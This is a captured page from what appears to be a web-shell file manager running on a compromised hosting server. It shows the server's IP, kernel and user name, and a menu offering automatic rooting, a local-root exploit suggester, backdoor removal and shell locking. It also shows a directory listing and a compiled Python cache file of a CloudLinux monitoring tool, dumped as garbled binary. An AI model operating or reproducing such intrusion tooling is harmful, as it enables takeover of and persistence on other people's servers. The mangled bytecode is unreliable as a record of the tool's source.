Linux 186-227-203-186.cprapid.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
Apache
Server IP : 186.227.203.186 & Your IP : 216.73.217.151
Domains : 154 Domain
User : pmcaxingo
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
usr /
share /
web-monitoring-tool /
__pycache__ /
Delete
Unzip
Name
Size
Permission
Date
Action
cron_control.cpython-311.opt-1.pyc
15.67
KB
-rw-r--r--
2026-05-19 10:27
cron_control.cpython-311.pyc
15.67
KB
-rw-r--r--
2026-05-19 10:27
daemon_control.cpython-311.opt-1.pyc
6.2
KB
-rw-r--r--
2026-05-19 10:27
daemon_control.cpython-311.pyc
6.2
KB
-rw-r--r--
2026-05-19 10:27
get_domains.cpython-311.opt-1.pyc
3.41
KB
-rw-r--r--
2026-05-19 10:27
get_domains.cpython-311.pyc
3.41
KB
-rw-r--r--
2026-05-19 10:27
reporter.cpython-311.opt-1.pyc
12.9
KB
-rw-r--r--
2026-05-19 10:27
reporter.cpython-311.pyc
12.9
KB
-rw-r--r--
2026-05-19 10:27
sentry.cpython-311.opt-1.pyc
2.57
KB
-rw-r--r--
2026-05-19 10:27
sentry.cpython-311.pyc
2.57
KB
-rw-r--r--
2026-05-19 10:27
version.cpython-311.opt-1.pyc
362
B
-rw-r--r--
2026-05-19 10:27
version.cpython-311.pyc
362
B
-rw-r--r--
2026-05-19 10:27
Save
Rename
� �:j>, � � � d dl Z d dlZd dlZd dlZd dlZd dlZd dlmZmZ g d�Z ddgZ d� Z d#d�Zd$d �Z d� Zd� Zd � Zd� Zd$d�Zd� Zd� Zd$d�Zd� Zd� Zd� Zd� Zd� Zd� Zedk �r ed� � Z e� � e j ej dd� dg d�� � \ ZZ nE# e j! $ r8Z" e# e$e"� � � � e� � ej% d� � Y dZ"["ndZ"["ww xY w eD ]j\ Z&Z'e&dv r e� � ej% � � �#e&d v r e� � �2e&d!v r e� � �Ae&d"v r e� � �P e� � ej% d� � �kdS # e($ r Z)e�* e)� � Y dZ)[)dS dZ)[)ww xY wdS )%� N)�init_wmt_sentry_client�setup_logger)�add_cron� erase_cron�remove_cron� add_cron_task�wmt-clickhouse-reporter�wmt-email-reporterc � � t d� � t d� � t t j d dz � � t d� � t d� � t d� � t d� � d S ) N� z=Use following syntax to manage WMT cron jobs install utility:r z [OPTIONS]zOptions:z+ -i | --install : install wmt cron jobsz* -d | --delete : delete wmt cron jobsz* -u | --update : update wmt cron jobs)�print�sys�argv� � �|/builddir/build/BUILDROOT/cl-web-monitoring-tool-3.2.3-1.el8.cloudlinux.x86_64/usr/share/web-monitoring-tool/cron_control.py�usager sv � � �"�I�I�I� � I�J�J�J� �#�(�1�+�� $�%�%�%� �*���� � 7�8�8�8� � 6�7�7�7� � 6�7�7�7�7�7r Tc � � |dk r/t t t j dd� � � � � � }|dk r/t t t j dd� � � � � � } t |||||||� � } t | | |� � dS # t $ r# t j � d� � Y dS w xY w)a� Add new cron task into crontab schedule if this task or command wasn't already existed in the cron-file. :param str file_name: Name of cron-file in /etc/cron.d :param minute: Integer or char 'r' if to set random minute :param hour: Integer or char 'r' if to set random hour :param int, str day: Day number :param int, str month: Month number :param int, str day_of_week: Day of week number :param str user: Under what user do run command :param str command: What command do run :param bool check_command: If it is False, check that whole cron-task line already exists in crontab, check that command string exists instead. Default is True, check a command string. �rr �; � z"Can not add task with wrong syntaxN) �int�round�random�uniform�format_cron_taskr � TypeErrorr �stderr�write) � file_name�minute�hour�day�month�day_of_week�user�command� check_command� cron_tasks r r r "